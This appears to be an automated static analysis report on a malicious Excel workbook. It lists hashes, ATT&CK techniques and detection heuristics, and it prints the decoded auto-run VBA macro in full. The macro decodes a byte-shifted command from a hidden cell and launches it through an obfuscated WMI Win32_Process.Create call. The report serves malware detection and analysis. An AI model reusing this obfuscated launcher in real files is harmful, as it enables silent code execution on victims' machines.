Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 178a8e661c5254c6…

MALICIOUS

Office (OOXML)

15.0 KB Created: 2020-08-25 06:08:39 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: 4776d48a5fdc57e64aecb41a34a25684 SHA-1: 236b61f31d0a70f375d04220c472c93d0bcda302 SHA-256: 178a8e661c5254c6009898e8b7a2d29ec404149fb8924259053ea02bbf0d642e
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The sample contains a Workbook_Open VBA macro that uses GetObject to instantiate a WMI service and then attempts to create a new process. The script reassembles the string 'winmgmts' to obfuscate its intent. This technique is commonly used to download and execute further malicious payloads. The presence of an Excel 4.0 macro sheet also indicates a multi-faceted approach to execution.

Heuristics 8

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3002 bytes
SHA-256: 80a5fae596134586e31e72f145416f4aadbd156f0663277fa3c21bd1b1fa7840
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BuÇalismaKitabi"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit








                                                                    Public Khoisan As Object







               







             Sub Workbook_Open()






                                            Call OutshOve








                  







              




                  






                                                    End Sub








              Private Sub OutshOve()







                                            





          Dim Undimpled As Long: Dim Hispanic() As Byte
GoTo Samech
Hensley:






              For Undimpled = 0 To UBound(Hispanic)






                                                                            Hispanic(Undimpled) = Abs(Hispanic(Undimpled) - 7)
Next
GoTo Vegetate
Exit Sub
Vegetate:





                                                                    






                                                    Set Khoisan = GetObject("winmg" & "mts:\\" & "." & "\ro" & "ot\cim" & "v2" & ":" & "Win3" & "2_Process")







               GoTo Palstaff








                




                                                Exit Sub








               GoTo Hysterectomize
Hysterectomize:





                 




          







               MsgBox "You did a mistake. Please check values."







                                                            




                                                                            Exit Sub





Samech:





             





                                                                




            Hispanic = StrConv(Sheets("u4d897528").Cells(134, 8).Value, 256 / 2, 1000 + 55)





                                                        GoTo Hensley








            Exit Sub







Palstaff:





                                                                            







              







                                                                Khoisan.Create StrConv(Hispanic, 32 * 2, 1000 + 55), Null, Null, 0






           Exit Sub
GoTo PolymorPhism







PolymorPhism:






                                                                MsgBox "Your process is done. You can close your app now!"







                                            






                                                                            






          Exit Sub
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12800 bytes
SHA-256: 5ce7f6fce1ba3ac8fea4148007b27897241a9717098969b6e8a084ed7d52e8c1
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1199 bytes
SHA-256: 3bf52c2ae58fc5440a8945e4dd4f66cf25e97301c76925e4c45f2c48f3d93911
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{2019E45E-1B76-41CF-B095-8519DB09A8B7}"><dimension ref="H134"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="134" spans="8:8" x14ac:dyDescent="0.25"><c r="H134" t="s"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>